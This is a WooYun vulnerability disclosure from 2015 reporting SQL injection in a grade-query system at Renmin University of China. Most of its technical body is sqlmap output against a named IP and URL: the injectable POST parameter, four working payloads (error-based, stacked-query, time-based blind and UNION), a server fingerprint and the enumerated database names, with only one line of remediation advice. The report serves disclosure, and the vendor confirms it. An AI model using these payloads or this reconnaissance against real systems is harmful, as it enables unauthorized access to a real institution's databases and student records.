当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0100742

漏洞标题:中国人民大学某站点sql注射漏洞

相关厂商:中国人民大学

漏洞作者: 路人甲

提交时间:2015-03-12 14:03

修复时间:2015-04-26 14:04

公开时间:2015-04-26 14:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-12: 细节已通知厂商并且等待厂商处理中
2015-03-13: 厂商已经确认,细节仅向厂商公开
2015-03-23: 细节向核心白帽子及相关领域专家公开
2015-04-02: 细节向普通白帽子公开
2015-04-12: 细节向实习白帽子公开
2015-04-26: 细节向公众公开

简要描述:

中国人民大学某站点sql注射漏洞

详细说明:

1#由于dns域传送漏洞得到中国人民大学站点域名,都是大学站点漏洞多,随手了一个的确存在漏洞。
在站点出点击成绩查询,进入到成绩查询系统:

1.jpg


一看到这页面猜测存在sql注射,测试确实存在

2.jpg


2#抓包用sqlmap注射信息

http://202.112.126.89:80/cjcx/cjcx_new.asp (POST)
sqlmap identified the following injection points with a total of 320 HTTP(s) requests:
---
Parameter: bh (POST)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: bh=SZDo') AND 6025=CONVERT(INT,(SELECT CHAR(113)+CHAR(120)+CHAR(122)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (6025=6025) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(113)+CHAR(107)+CHAR(113))) AND ('BxSc'='BxSc&sfzh=
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: bh=SZDo');WAITFOR DELAY '0:0:5'--&sfzh=
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: bh=SZDo') WAITFOR DELAY '0:0:5'--&sfzh=
Type: UNION query
Title: Generic UNION query (NULL) - 104 columns
Payload: bh=SZDo') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(120)+CHAR(122)+CHAR(98)+CHAR(113)+CHAR(112)+CHAR(111)+CHAR(79)+CHAR(105)+CHAR(88)+CHAR(97)+CHAR(66)+CHAR(111)+CHAR(68)+CHAR(71)+CHAR(113)+CHAR(120)+CHAR(113)+CHAR(107)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &sfzh=
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2008
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: bh (POST)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: bh=SZDo') AND 6025=CONVERT(INT,(SELECT CHAR(113)+CHAR(120)+CHAR(122)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (6025=6025) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(113)+CHAR(107)+CHAR(113))) AND ('BxSc'='BxSc&sfzh=
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: bh=SZDo');WAITFOR DELAY '0:0:5'--&sfzh=
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: bh=SZDo') WAITFOR DELAY '0:0:5'--&sfzh=
Type: UNION query
Title: Generic UNION query (NULL) - 104 columns
Payload: bh=SZDo') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(120)+CHAR(122)+CHAR(98)+CHAR(113)+CHAR(112)+CHAR(111)+CHAR(79)+CHAR(105)+CHAR(88)+CHAR(97)+CHAR(66)+CHAR(111)+CHAR(68)+CHAR(71)+CHAR(113)+CHAR(120)+CHAR(113)+CHAR(107)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &sfzh=
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2008
current user is DBA: False
current database: 'yanyuan'
available databases [6]:
[*] master
[*] model
[*] msdb
[*] tempdb
[*] wb
[*] yanyuan


漏洞证明:

current user is DBA:    False
current database: 'yanyuan'
available databases [6]:
[*] master
[*] model
[*] msdb
[*] tempdb
[*] wb
[*] yanyuan

修复方案:

过滤,最好重新开发系统

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-03-13 09:48

厂商回复:

非常感谢!已通知学院处理!

最新状态:

暂无


漏洞评价:

评论